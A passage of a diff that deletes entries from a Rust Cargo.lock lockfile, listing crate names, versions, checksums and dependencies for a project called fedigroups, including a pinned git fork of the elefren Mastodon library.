-checksum = "a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c"
-dependencies = [
- "ansi_term",
- "atty",
- "bitflags",
- "strsim",
- "textwrap",
- "unicode-width",
- "vec_map",
-]
-
-[[package]]
-name = "cloudabi"
-version = "0.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ddfc5b9aa5d4507acaf872de71051dfd0e309860e88966e1051e462a077aac4f"
-dependencies = [
- "bitflags",
-]
-
-[[package]]
-name = "core-foundation"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "core-foundation-sys"
-version = "0.8.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc"
-
-[[package]]
-name = "cpufeatures"
-version = "0.2.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "280a9f2d8b3a38871a3c8a46fb80db65e5e5ed97da80c4d08bf27fb63e35e181"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.6.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04973fa96e96579258a5091af6003abde64af786b860f18622b82e026cca60e6"
-dependencies = [
- "cfg-if 0.1.10",
- "lazy_static",
-]
-
-[[package]]
-name = "digest"
-version = "0.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3d0c8c8752312f9713efd397ff63acb9f85585afbf179282e720e7704954dd5"
-dependencies = [
- "generic-array 0.12.4",
-]
-
-[[package]]
-name = "digest"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066"
-dependencies = [
- "generic-array 0.14.5",
-]
-
-[[package]]
-name = "doc-comment"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "923dea538cea0aa3025e8685b20d6ee21ef99c4f77e954a30febbaac5ec73a97"
-
-[[package]]
-name = "dtoa"
-version = "0.4.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "56899898ce76aaf4a0f24d914c97ea6ed976d42fec6ad33fcbb0a1103e07b2b0"
-
-[[package]]
-name = "elefren"
-version = "0.22.0"
-source = "git+https://git.ondrovo.com/MightyPork/elefren-fork.git?rev=b10e5935ae32f4756b19e9ca58b78a5382f865d1#b10e5935ae32f4756b19e9ca58b78a5382f865d1"
-dependencies = [
- "chrono",
- "doc-comment",
- "futures-util",
- "hyper-old-types",
- "isolang",
- "log 0.4.17",
- "reqwest",
- "serde",
- "serde_json",
- "serde_qs",
- "serde_urlencoded 0.6.1",
- "thiserror",
- "tokio",
- "tokio-stream",
- "tokio-tungstenite",
- "tokio-util 0.6.7",
- "toml",
- "url 2.2.2",
-]
-
-[[package]]
-name = "encoding_rs"
-version = "0.8.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9852635589dc9f9ea1b6fe9f05b50ef208c85c834a562f0c6abb1c475736ec2b"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "env_logger"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b2cf0344971ee6c64c31be0d530793fba457d322dfec2810c453d0ef228f9c3"
-dependencies = [
- "atty",
- "humantime",
- "log 0.4.17",
- "regex",
- "termcolor",
-]
-
-[[package]]
-name = "fake-simd"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e88a8acf291dafb59c2d96e8f59828f3838bb1a70398823ade51a84de6a6deed"
-
-[[package]]
-name = "fastrand"
-version = "1.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3fcf0cee53519c866c09b5de1f6c56ff9d647101f81c1964fa632e148896cdf"
-dependencies = [
- "instant",
-]
-
-[[package]]
-name = "fedigroups"
-version = "0.4.5"
-dependencies = [
- "anyhow",
- "clap",
- "elefren",
- "env_logger",
- "futures 0.3.21",
- "json5",
- "log 0.4.17",
- "native-tls",
- "once_cell",
- "regex",
- "serde",
- "serde_json",
- "thiserror",
- "tokio",
- "tokio-stream",
- "voca_rs",
- "websocket",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "foreign-types"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
-dependencies = [
- "foreign-types-shared",
-]
-
-[[package]]
-name = "foreign-types-shared"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5fc25a87fa4fd2094bffb06925852034d90a17f0d1e05197d4956d3555752191"
-dependencies = [
- "matches",
- "percent-encoding 2.1.0",
-]
-
-[[package]]
-name = "fuchsia-cprng"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a06f77d526c1a601b7c4cdd98f54b5eaabffc14d5f2f0296febdc7f357c6d3ba"
-
-[[package]]
-name = "fuchsia-zircon"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82"
-dependencies = [
- "bitflags",
- "fuchsia-zircon-sys",
-]
-
-[[package]]
-name = "fuchsia-zircon-sys"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7"
-
-[[package]]
-name = "futures"
-version = "0.1.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3a471a38ef8ed83cd6e40aa59c1ffe17db6855c18e3604d9c4ed8c08ebc28678"
-
-[[package]]
-name = "futures"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f73fe65f54d1e12b726f517d3e2135ca3125a437b6d998caf1962961f7172d9e"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-io",
- "futures-sink",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-channel"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3083ce4b914124575708913bca19bfe887522d6e2e6d0952943f5eac4a74010"
-dependencies = [
- "futures-core",
- "futures-sink",
-]
-
-[[package]]
-name = "futures-core"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c09fd04b7e4073ac7156a9539b57a484a8ea920f79c7c675d05d289ab6110d3"
-
-[[package]]
-name = "futures-executor"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9420b90cfa29e327d0429f19be13e7ddb68fa1cccb09d65e5706b8c7a749b8a6"
-dependencies = [
- "futures-core",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-io"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc4045962a5a5e935ee2fdedaa4e08284547402885ab326734432bed5d12966b"
-
-[[package]]
-name = "futures-macro"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33c1e13800337f4d4d7a316bf45a567dbcb6ffe087f16424852d97e97a91f512"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "futures-sink"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "21163e139fa306126e6eedaf49ecdb4588f939600f0b1e770f4205ee4b7fa868"
-
-[[package]]
-name = "futures-task"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57c66a976bf5909d801bbef33416c41372779507e7a6b3a5e25e4749c58f776a"
-
-[[package]]
-name = "futures-util"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d8b7abd5d659d9b90c8cba917f6ec750a74e2dc23902ef9cd4cc8c8b22e6036a"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-io",
- "futures-macro",
- "futures-sink",
- "futures-task",
- "memchr",
- "pin-project-lite",
- "pin-utils",
- "slab",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.12.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ffdf9f34f1447443d37393cc6c2b8313aebddcd96906caf34e54c68d8e57d7bd"
-dependencies = [
- "typenum",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803"
-dependencies = [
- "typenum",
- "version_check 0.9.4",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4eb1a864a501629691edf6c15a593b7a51eebaa1e8468e9ddc623de7c9b58ec6"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "h2"
-version = "0.3.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37a82c6d637fc9515a4694bbf1cb2457b79d81ce52b3108bdeea58b07dd34a57"
-dependencies = [
- "bytes 1.1.0",
- "fnv",
- "futures-core",
- "futures-sink",
- "futures-util",
- "http",
- "indexmap",
- "slab",
- "tokio",
- "tokio-util 0.7.3",
- "tracing",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db0d4cf898abf0081f964436dc980e96670a0f36863e4b83aaacdb65c9d7ccc3"
-
-[[package]]
-name = "hermit-abi"
-version = "0.1.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "http"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399"
-dependencies = [
- "bytes 1.1.0",
- "fnv",
- "itoa 1.0.2",
-]
-
-[[package]]
-name = "http-body"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1"
-dependencies = [
- "bytes 1.1.0",
- "http",
- "pin-project-lite",
-]
-
-[[package]]
-name = "httparse"
-version = "1.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "496ce29bb5a52785b44e0f7ca2847ae0bb839c9bd28f69acac9b99d461c0c04c"
-
-[[package]]
-name = "httpdate"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421"
-
-[[package]]
-name = "humantime"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
-
-[[package]]
-name = "hyper"
-version = "0.10.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0a0652d9a2609a968c14be1a9ea00bf4b1d64e2e1f53a1b51b6fff3a6e829273"
-dependencies = [
- "base64 0.9.3",
- "httparse",
- "language-tags",
- "log 0.3.9",
- "mime 0.2.6",
- "num_cpus",
- "time",
- "traitobject",
- "typeable",
- "unicase 1.4.2",
- "url 1.7.2",
-]
-
-[[package]]
-name = "hyper"
-version = "0.14.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42dc3c131584288d375f2d07f822b0cb012d8c6fb899a5b9fdb3cb7eb9b6004f"
-dependencies = [
- "bytes 1.1.0",
- "futures-channel",
- "futures-core",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "httparse",
- "httpdate",
- "itoa 1.0.2",
- "pin-project-lite",
- "socket2",
- "tokio",
- "tower-service",
- "tracing",
- "want",
-]
-
-[[package]]
-name = "hyper-old-types"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6896be51ecf3966c0fa14ff2da3233dbb9aef57ccea1be1afe55f105f4d4c9c4"
-dependencies = [
- "base64 0.9.3",
- "bytes 0.4.12",
- "httparse",
- "language-tags",
- "log 0.4.17",
- "mime 0.3.16",
- "percent-encoding 1.0.1",
- "time",
- "unicase 2.6.0",
-]
-
-[[package]]
-name = "hyper-rustls"
-version = "0.22.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f9f7a97316d44c0af9b0301e65010573a853a9fc97046d7331d7f6bc0fd5a64"
-dependencies = [
- "futures-util",
- "hyper 0.14.19",
- "log 0.4.17",
- "rustls",
- "tokio",
- "tokio-rustls",
- "webpki",
-]
-
-[[package]]
-name = "idna"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38f09e0f0b1fb55fdee1f17470ad800da77af5186a1a76c026b679358b7e844e"
-dependencies = [
- "matches",
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "idna"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8"
-dependencies = [
- "matches",
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "indexmap"
-version = "1.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "10a35a97730320ffe8e2d410b5d3b69279b98d2c14bdb8b70ea89ecf7888d41e"
-dependencies = [
- "autocfg 1.1.0",
- "hashbrown",
-]
-
-[[package]]
-name = "instant"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "iovec"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "ipnet"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68f2d64f2edebec4ce84ad108148e67e1064789bee435edc5b60ad398714a3a9"
-
-[[package]]
-name = "isolang"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "265ef164908329e47e753c769b14cbb27434abf0c41984dca201484022f09ce5"
-dependencies = [
- "phf",
- "phf_codegen",
- "serde",
-]
-
-[[package]]
-name = "itoa"
-version = "0.4.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4"
-
-[[package]]
-name = "itoa"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "112c678d4050afce233f4f2852bb2eb519230b3cf12f33585275537d7e41578d"
-
-[[package]]
-name = "js-sys"
-version = "0.3.58"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3fac17f7123a73ca62df411b1bf727ccc805daa070338fda671c86dac1bdc27"
-dependencies = [
- "wasm-bindgen",
-]
-
-[[package]]
-name = "json5"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96b0db21af676c1ce64250b5f40f3ce2cf27e4e47cb91ed91eb6fe9350b430c1"
-dependencies = [
- "pest",
- "pest_derive",
- "serde",
-]
-
-[[package]]
-name = "kernel32-sys"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d"
-dependencies = [
- "winapi 0.2.8",
- "winapi-build",
-]
-
-[[package]]
-name = "language-tags"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a91d884b6667cd606bb5a69aa0c99ba811a115fc68915e7056ec08a46e93199a"
-
-[[package]]
-name = "lazy_static"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
-
-[[package]]
-name = "libc"
-version = "0.2.126"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "349d5a591cd28b49e1d1037471617a32ddcda5731b99419008085f72d5a53836"
-
-[[package]]
-name = "lock_api"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62ebf1391f6acad60e5c8b43706dde4582df75c06698ab44511d15016bc2442c"
-dependencies = [
- "owning_ref",
- "scopeguard 0.3.3",
-]
-
-[[package]]
-name = "lock_api"
-version = "0.4.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "327fa5b6a6940e4699ec49a9beae1ea4845c6bab9314e4f84ac68742139d8c53"
-dependencies = [
- "autocfg 1.1.0",
- "scopeguard 1.1.0",
-]
-
-[[package]]
-name = "log"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e19e8d5c34a3e0e2223db8e060f9e8264aeeb5c5fc64a4ee9965c062211c024b"
-dependencies = [
- "log 0.4.17",
-]
-
-[[package]]
-name = "log"
-version = "0.4.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "maplit"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3e2e65a1a2e43cfcb47a895c4c8b10d1f4a61097f9f254f183aee60cad9c651d"
-
-[[package]]
-name = "matches"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f"
-
-[[package]]
-name = "maybe-uninit"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00"
-
-[[package]]
-name = "memchr"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
-
-[[package]]
-name = "mime"
-version = "0.2.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba626b8a6de5da682e1caa06bdb42a335aee5a84db8e5046a3e8ab17ba0a3ae0"
-dependencies = [
- "log 0.3.9",
-]
-
-[[package]]
-name = "mime"
-version = "0.3.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d"
-
-[[package]]
-name = "mime_guess"
-version = "2.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef"
-dependencies = [
- "mime 0.3.16",
- "unicase 2.6.0",
-]
-
-[[package]]
-name = "mio"
-version = "0.6.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4afd66f5b91bf2a3bc13fad0e21caedac168ca4c707504e75585648ae80e4cc4"
-dependencies = [
- "cfg-if 0.1.10",
- "fuchsia-zircon",
- "fuchsia-zircon-sys",
- "iovec",
- "kernel32-sys",
- "libc",
- "log 0.4.17",
- "miow",
- "net2",
- "slab",
- "winapi 0.2.8",
-]
-
-[[package]]
-name = "mio"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57ee1c23c7c63b0c9250c339ffdc69255f110b298b901b9f6c82547b7b87caaf"
-dependencies = [
- "libc",
- "log 0.4.17",
- "wasi 0.11.0+wasi-snapshot-preview1",
- "windows-sys",
-]
-
-[[package]]
-name = "miow"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ebd808424166322d4a38da87083bfddd3ac4c131334ed55856112eb06d46944d"
-dependencies = [
- "kernel32-sys",
- "net2",
- "winapi 0.2.8",
- "ws2_32-sys",
-]
-
-[[package]]
-name = "native-tls"
-version = "0.2.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd7e2f3618557f980e0b17e8856252eee3c97fa12c54dff0ca290fb6266ca4a9"
-dependencies = [
- "lazy_static",
- "libc",
- "log 0.4.17",
- "openssl",
- "openssl-probe",
- "openssl-sys",
- "schannel",
- "security-framework",
- "security-framework-sys",
- "tempfile",
-]
-
-[[package]]
-name = "net2"
-version = "0.2.37"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "391630d12b68002ae1e25e8f974306474966550ad82dac6886fb8910c19568ae"
-dependencies = [
- "cfg-if 0.1.10",
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "num-integer"
-version = "0.1.45"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9"
-dependencies = [
- "autocfg 1.1.0",
- "num-traits",
-]
-
-[[package]]
-name = "num-traits"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd"
-dependencies = [
- "autocfg 1.1.0",
-]
-
-[[package]]
-name = "num_cpus"
-version = "1.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1"
-dependencies = [
- "hermit-abi",
- "libc",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.12.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7709cef83f0c1f58f666e746a08b21e0085f7440fa6a29cc194d68aac97a4225"
-
-[[package]]
-name = "opaque-debug"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2839e79665f131bdb5782e51f2c6c9599c133c6098982a54c794358bf432529c"
-
-[[package]]
-name = "opaque-debug"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
-
-[[package]]
-name = "openssl"
-version = "0.10.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fb81a6430ac911acb25fe5ac8f1d2af1b4ea8a4fdfda0f1ee4292af2e2d8eb0e"
-dependencies = [
- "bitflags",
- "cfg-if 1.0.0",
- "foreign-types",
- "libc",
- "once_cell",
- "openssl-macros",
- "openssl-sys",
-]
-
-[[package]]
-name = "openssl-macros"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "openssl-probe"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
-
-[[package]]
-name = "openssl-sys"
-version = "0.9.74"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "835363342df5fba8354c5b453325b110ffd54044e588c539cf2f20a8014e4cb1"
-dependencies = [
- "autocfg 1.1.0",
- "cc",
- "libc",
- "pkg-config",
- "vcpkg",
-]
-
-[[package]]
-name = "owning_ref"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ff55baddef9e4ad00f88b6c743a2a8062d4c6ade126c2a528644b8e444d52ce"
-dependencies = [
- "stable_deref_trait",
-]
-
-[[package]]
-name = "parking_lot"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab41b4aed082705d1056416ae4468b6ea99d52599ecf3169b00088d43113e337"
-dependencies = [
- "lock_api 0.1.5",
- "parking_lot_core 0.4.0",
-]
-
-[[package]]
-name = "parking_lot"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
-dependencies = [
- "lock_api 0.4.7",
- "parking_lot_core 0.9.3",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94c8c7923936b28d546dfd14d4472eaf34c99b14e1c973a32b3e6d4eb04298c9"
-dependencies = [
- "libc",
- "rand 0.6.5",
- "rustc_version",
- "smallvec 0.6.14",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09a279cbf25cb0757810394fbc1e359949b59e348145c643a939a525692e6929"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "redox_syscall",
- "smallvec 1.8.1",
- "windows-sys",
-]
-
-[[package]]
-name = "percent-encoding"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "31010dd2e1ac33d5b46a5b413495239882813e0369f8ed8a5e266f173602f831"
-
-[[package]]
-name = "percent-encoding"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e"
-
-[[package]]
-name = "pest"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "10f4872ae94d7b90ae48754df22fd42ad52ce740b8f370b03da4835417403e53"
-dependencies = [
- "ucd-trie",
-]
-
-[[package]]
-name = "pest_derive"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "833d1ae558dc601e9a60366421196a8d94bc0ac980476d0b67e1d0988d72b2d0"
-dependencies = [
- "pest",
- "pest_generator",
-]
-
-[[package]]
-name = "pest_generator"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "99b8db626e31e5b81787b9783425769681b347011cc59471e33ea46d2ea0cf55"
-dependencies = [
- "pest",
- "pest_meta",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "pest_meta"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "54be6e404f5317079812fc8f9f5279de376d8856929e21c184ecf6bbd692a11d"
-dependencies = [
- "maplit",
- "pest",
- "sha-1 0.8.2",
-]
-
-[[package]]
-name = "phf"
-version = "0.7.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b3da44b85f8e8dfaec21adae67f95d93244b2ecf6ad2a692320598dcc8e6dd18"
-dependencies = [
- "phf_shared",
-]
-
-[[package]]
-name = "phf_codegen"
-version = "0.7.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b03e85129e324ad4166b06b2c7491ae27fe3ec353af72e72cd1654c7225d517e"
-dependencies = [
- "phf_generator",
- "phf_shared",
-]
-
-[[package]]
-name = "phf_generator"
-version = "0.7.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09364cc93c159b8b06b1f4dd8a4398984503483891b0c26b867cf431fb132662"
-dependencies = [
- "phf_shared",
- "rand 0.6.5",
-]
-
-[[package]]
-name = "phf_shared"
-version = "0.7.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "234f71a15de2288bcb7e3b6515828d22af7ec8598ee6d24c3b526fa0a80b67a0"
-dependencies = [
- "siphasher",
-]
-
-[[package]]
-name = "pin-project"
-version = "1.0.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "58ad3879ad3baf4e44784bc6a718a8698867bb991f8ce24d1bcbe2cfb4c3a75e"
-dependencies = [
- "pin-project-internal",
-]
-
-[[package]]
-name = "pin-project-internal"
-version = "1.0.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "744b6f092ba29c3650faf274db506afd39944f48420f6c86b17cfe0ee1cb36bb"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116"
-
-[[package]]
-name = "pin-utils"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-
-[[package]]
-name = "pkg-config"
-version = "0.3.25"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1df8c4ec4b0627e53bdf214615ad287367e482558cf84b109250b37464dc03ae"
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
